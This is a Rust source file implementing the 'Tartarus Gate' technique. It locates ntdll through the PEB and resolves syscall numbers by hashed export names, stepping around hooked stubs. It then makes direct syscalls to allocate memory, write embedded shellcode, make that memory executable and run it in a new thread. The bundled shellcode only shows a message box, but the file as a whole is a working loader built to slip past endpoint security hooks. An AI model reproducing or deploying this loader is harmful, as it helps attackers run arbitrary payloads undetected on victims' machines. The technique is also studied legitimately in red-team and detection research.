/*
    Tartarus Gate in Rust 
    @5mukx 
*/


use windows::Win32::System::Diagnostics::Debug::IMAGE_NT_HEADERS64;
use windows::Win32::System::Memory::{MEM_COMMIT, PAGE_EXECUTE_READ, PAGE_READWRITE};
use windows::Win32::System::Threading::{GetCurrentProcess, TEB};
use windows::Win32::System::WindowsProgramming::LDR_DATA_TABLE_ENTRY;
use windows::Win32::Foundation::{HANDLE, NTSTATUS};
use windows::Win32::System::SystemServices::{
    IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_SIGNATURE,
};

use std::ffi::c_void;
use std::mem::zeroed;
use std::ptr::null_mut;

const UP: i32 = -32;
const DOWN: i32 = 32;

const NT_ALLOCATE_VIRTUAL_MEMORY_DJB2: u64 = 0xf5bd373480a6b89b;
const NT_WRITE_VIRTUAL_MEMORY_DJB2: u64 = 0x68a3c2ba486f0741;
const NT_PROTECT_VIRTUAL_MEMORY_DJB2: u64 = 0x858bcb1046fb6a37;
const NT_CREATE_THREAD_EX_DJB2: u64 = 0x64dc7db288c5015f;
const NT_WAIT_FOR_SINGLE_OBJECT_DJB2: u64 = 0xc6a2fa174e551bcb;

// struct for vx-table
#[repr(C)]
struct VxTableEntry {
    address: *mut u8,
    hash: u64,
    system_call: u16,
}

#[repr(C)]
struct VxTable {
    nt_allocate_virtual_memory: VxTableEntry,
    nt_protect_virtual_memory: VxTableEntry,
    nt_create_thread_ex: VxTableEntry,
    nt_write_virtual_memory: VxTableEntry,
    nt_wait_for_single_object: VxTableEntry,
}

// Assembly functions
unsafe extern "C" {
    fn HellsGate(system_call: u16);
    fn HellDescent(
        arg1: *mut c_void,
        arg2: *mut c_void,
        arg3: *mut c_void,
        arg4: *mut c_void,
        arg5: *mut c_void,
        arg6: *mut c_void,
        arg7: *mut c_void,
        arg8: *mut c_void,
        arg9: *mut c_void,
        arg10: *mut c_void,
        arg11: *mut c_void,
    ) -> NTSTATUS;
}

fn djb2(s: &[u8]) -> u64 {
    let mut hash: u64 = 0x7734773477347734;
    for &c in s {
        hash = ((hash << 5) + hash) + c as u64;
    }
    hash
}

unsafe fn get_thread_environment_block() -> *mut TEB {
    #[cfg(target_arch = "x86_64")]
    {
        let teb: *mut TEB;
        unsafe { std::arch::asm!("mov {}, gs:[0x30]", out(reg) teb) };
        teb
    }
    #[cfg(target_arch = "x86")]
    {
        let teb: *mut TEB;
        std::arch::asm!("mov {}, fs:[0x18]", out(reg) teb);
        teb
    }
}

#[allow(unused_assignments)]
fn get_image_export_directory(
    module_base: *mut u8,
    export_dir: &mut *mut IMAGE_EXPORT_DIRECTORY,
) -> bool {
    unsafe {
        let dos_header = &*(module_base as *const IMAGE_DOS_HEADER);
        if dos_header.e_magic != IMAGE_DOS_SIGNATURE {
            println!("Failed to get DOS header");
            return false;
        }

        let nt_headers =
            &*((module_base.offset(dos_header.e_lfanew as isize)) as *const IMAGE_NT_HEADERS64);
        if nt_headers.Signature != IMAGE_NT_SIGNATURE {
            println!("Failed to get NT Header");
            return false;
        }

        *export_dir = (module_base
            .offset(nt_headers.OptionalHeader.DataDirectory[0].VirtualAddress as isize))
            as *mut IMAGE_EXPORT_DIRECTORY;
        true
    }
}

// tt Finds a function in the export table by hash, gets its address and syscall number
fn get_vx_table_entry(
    module_base: *mut u8,
    export_dir: *const IMAGE_EXPORT_DIRECTORY,
    vx_entry: &mut VxTableEntry,
) -> bool {
    unsafe {
        // First:
        // Wee need to get the pointers
        let address_of_function =
            (module_base.offset((*export_dir).AddressOfFunctions as isize)) as *const u32;
        
        let address_of_names =
            (module_base.offset((*export_dir).AddressOfNames as isize)) as *const u32;
        
        let address_of_name_ordinals =
            (module_base.offset((*export_dir).AddressOfNameOrdinals as isize)) as *const u16;


        for i in 0..(*export_dir).NumberOfNames {
            
            let function_name =
                (module_base.offset((*address_of_names.offset(i as isize)) as isize)) as *const u8;
            
            let function_address = module_base.offset(
                (*address_of_function.offset(*address_of_name_ordinals.offset(i as isize) as isize))
                    as isize,
            );

            let name_slice = std::slice::from_raw_parts(function_name, 256);
            let null_idx = name_slice.iter().position(|&x| x == 0).unwrap_or(256);
            let name_slice = &name_slice[..null_idx];

            if djb2(name_slice) == vx_entry.hash {
            
                vx_entry.address = function_address;

                // mov r10, rcx; 
                // mov eax, <syscall>
                let bytes = std::slice::from_raw_parts(function_address, 8);
                if bytes[0] == 0x4c
                    && bytes[1] == 0x8b
                    && bytes[2] == 0xd1
                    && bytes[3] == 0xb8
                    && bytes[6] == 0x00
                    && bytes[7] == 0x00
                {
                    let high = bytes[5];
                    let low = bytes[4];
                    vx_entry.system_call = ((high as u16) << 8) | low as u16;
                    return true;
                }

                // check near func (starts with jmp: e9) 
                if bytes[0] == 0xe9 || bytes[3] == 0xe9 {
                    for idx in 1..=500 {
                        let mut check_bytes = |offset: i32| {
                            let addr = function_address.offset((offset * idx) as isize);
                            let bytes = std::slice::from_raw_parts(addr, 8);
                            if bytes[0] == 0x4c
                                && bytes[1] == 0x8b
                                && bytes[2] == 0xd1
                                && bytes[3] == 0xb8
                                && bytes[6] == 0x00
                                && bytes[7] == 0x00
                            {
                                let high = bytes[5];
                                let low = bytes[4];
                                let syscall = ((high as u16) << 8) | low as u16;
                                let adjusted = if offset == DOWN {
                                    // going down
                                    syscall.wrapping_sub(idx as u16)
                                } else {
                                    // going up 
                                    syscall.wrapping_add(idx as u16)
                                };
                                vx_entry.system_call = adjusted;
                                true
                            } else {
                                false
                            }
                        };

                        // check up -> down <- 32 to -32 
                        if check_bytes(DOWN) || check_bytes(UP) {
                            return true;
                        }
                    }
                    return false;
                }
            }
        }
        true
    }
}

fn payload(vx_table: &VxTable) -> bool {
    // msg box payload // 
    let payload: [u8; 328] = [
        0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00, 0x00, 0x41, 0x51,
        0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48,
        0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48,
        0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
        0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e,
        0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88,
        0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48,
        0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
        0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41,
        0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24,
        0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
        0x66, 0x3e, 0x41, 0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
        0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41,
        0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
        0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x3e, 0x48, 0x8d,
        0x8d, 0x30, 0x01, 0x00, 0x00, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x49, 0xc7,
        0xc1, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x48, 0x8d, 0x95, 0x0e, 0x01, 0x00, 0x00, 0x3e, 0x4c,
        0x8d, 0x85, 0x24, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x07,
        0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x65,
        0x79, 0x20, 0x6d, 0x61, 0x6e, 0x2e, 0x20, 0x49, 0x74, 0x73, 0x20, 0x6d, 0x65, 0x20, 0x53,
        0x6d, 0x75, 0x6b, 0x78, 0x00, 0x6b, 0x6e, 0x6f, 0x63, 0x6b, 0x2d, 0x6b, 0x6e, 0x6f, 0x63,
        0x6b, 0x00, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00,
    ];

    unsafe {
        let mut address: *mut u8 = null_mut();
        let mut data_size = payload.len() as usize;

        HellsGate(vx_table.nt_allocate_virtual_memory.system_call);
        let status = HellDescent(
            GetCurrentProcess().0 as *mut c_void,
            &mut address as *mut *mut u8 as *mut c_void,
            null_mut(),
            &mut data_size as *mut usize as *mut c_void,
            MEM_COMMIT.0 as *mut c_void,
            PAGE_READWRITE.0 as *mut c_void,
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
        );
        if status != NTSTATUS(0) {
            println!("NtAllocateVirtualMemory failed: 0x{:08X}", status.0);
            return false;
        }

        HellsGate(vx_table.nt_write_virtual_memory.system_call);
        let mut written_bytes = 0usize;
        let status = HellDescent(
            GetCurrentProcess().0 as *mut c_void,
            address as *mut c_void,
            payload.as_ptr() as *mut c_void,
            payload.len() as *mut c_void,
            &mut written_bytes as *mut usize as *mut c_void,
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
        );
        if status != NTSTATUS(0) {
            println!("NtWriteVirtualMemory failed: 0x{:08X}", status.0);
            return false;
        }

        let mut old_protect: u32 = 0;
        HellsGate(vx_table.nt_protect_virtual_memory.system_call);
        let status = HellDescent(
            GetCurrentProcess().0 as *mut c_void,
            &mut address as *mut *mut u8 as *mut c_void,
            &mut data_size as *mut usize as *mut c_void,
            PAGE_EXECUTE_READ.0 as *mut c_void,
            &mut old_protect as *mut u32 as *mut c_void,
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
        );
        if status != NTSTATUS(0) {
            println!("NtProtectVirtualMemory failed: 0x{:08X}", status.0);
            return false;
        }

        let mut thread_handle: HANDLE = HANDLE(null_mut());
        HellsGate(vx_table.nt_create_thread_ex.system_call);
        let status = HellDescent(
            &mut thread_handle as *mut HANDLE as *mut c_void,
            0x1FFFFF as *mut c_void,
            null_mut(),
            GetCurrentProcess().0 as *mut c_void,
            address as *mut c_void,
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
        );
        if status != NTSTATUS(0) {
            println!("NtCreateThreadEx failed: 0x{:08X}", status.0);
            return false;
        }

        let mut timeout: i64 = -60_000_000;
        HellsGate(vx_table.nt_wait_for_single_object.system_call);
        let status = HellDescent(
            thread_handle.0 as *mut c_void,
            0 as *mut c_void,
            &mut timeout as *mut i64 as *mut c_void,
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
            null_mut(),
        );
        if status != NTSTATUS(0) {
            println!("NtWaitForSingleObject failed: 0x{:08X}", status.0);
            return false;
        }
    }

    true
}

fn main() {
    unsafe {
        let teb = get_thread_environment_block();
        let peb = (*teb).ProcessEnvironmentBlock;
        if peb.is_null() || teb.is_null() {
            println!("[!] Invalid PEB or TEB");
            return;
        }

        // Navigate to ntdll.dll (second module in InMemoryOrderModuleList)
        let ldr = (*peb).Ldr;
        let list_entry = (*ldr).InMemoryOrderModuleList.Flink; // (executable)
        let ntdll_entry = (*list_entry).Flink; // ntdll.dll
        let ldr_data_entry = (ntdll_entry as *mut u8).offset(-0x10) as *mut LDR_DATA_TABLE_ENTRY;
        let ntdll_base = (*ldr_data_entry).DllBase;

        if ntdll_base.is_null() {
            println!("[!] Failed to get ntdll.dll base");
            return;
        }

        let ntdll_base = ((*ldr_data_entry).DllBase) as *mut u8;
        
        let mut export_directory: *mut IMAGE_EXPORT_DIRECTORY = null_mut();
        if !get_image_export_directory(ntdll_base, &mut export_directory)
            || export_directory.is_null()
        {
            println!("[!] Failed to get EAT");
            return;
        }

        let mut table: VxTable = zeroed();
        table.nt_allocate_virtual_memory.hash = NT_ALLOCATE_VIRTUAL_MEMORY_DJB2;
        if !get_vx_table_entry(
            ntdll_base,
            &*export_directory,
            &mut table.nt_allocate_virtual_memory,
        ) {
            println!("[!] Failed to get NtAllocateVirtualMemory");
            return;
        }

        table.nt_write_virtual_memory.hash = NT_WRITE_VIRTUAL_MEMORY_DJB2;
        if !get_vx_table_entry(
            ntdll_base,
            &*export_directory,
            &mut table.nt_write_virtual_memory,
        ) {
            println!("[!] Failed to get NtWriteVirtualMemory");
            return;
        }

        table.nt_protect_virtual_memory.hash = NT_PROTECT_VIRTUAL_MEMORY_DJB2;
        if !get_vx_table_entry(
            ntdll_base,
            &*export_directory,
            &mut table.nt_protect_virtual_memory,
        ) {
            println!("[!] Failed to get NtProtectVirtualMemory");
            return;
        }

        table.nt_create_thread_ex.hash = NT_CREATE_THREAD_EX_DJB2;
        if !get_vx_table_entry(
            ntdll_base,
            &*export_directory,
            &mut table.nt_create_thread_ex,
        ) {
            println!("[!] Failed to get NtCreateThreadEx");
            return;
        }

        table.nt_wait_for_single_object.hash = NT_WAIT_FOR_SINGLE_OBJECT_DJB2;
        if !get_vx_table_entry(
            ntdll_base,
            &*export_directory,
            &mut table.nt_wait_for_single_object,
        ) {
            println!("[!] Failed to get NtWaitForSingleObject");
            return;
        }

        if !payload(&table) {
            println!("[!] Payload execution failed");
            return;
        }

        println!("[+] Payload executed successfully");
    }
}
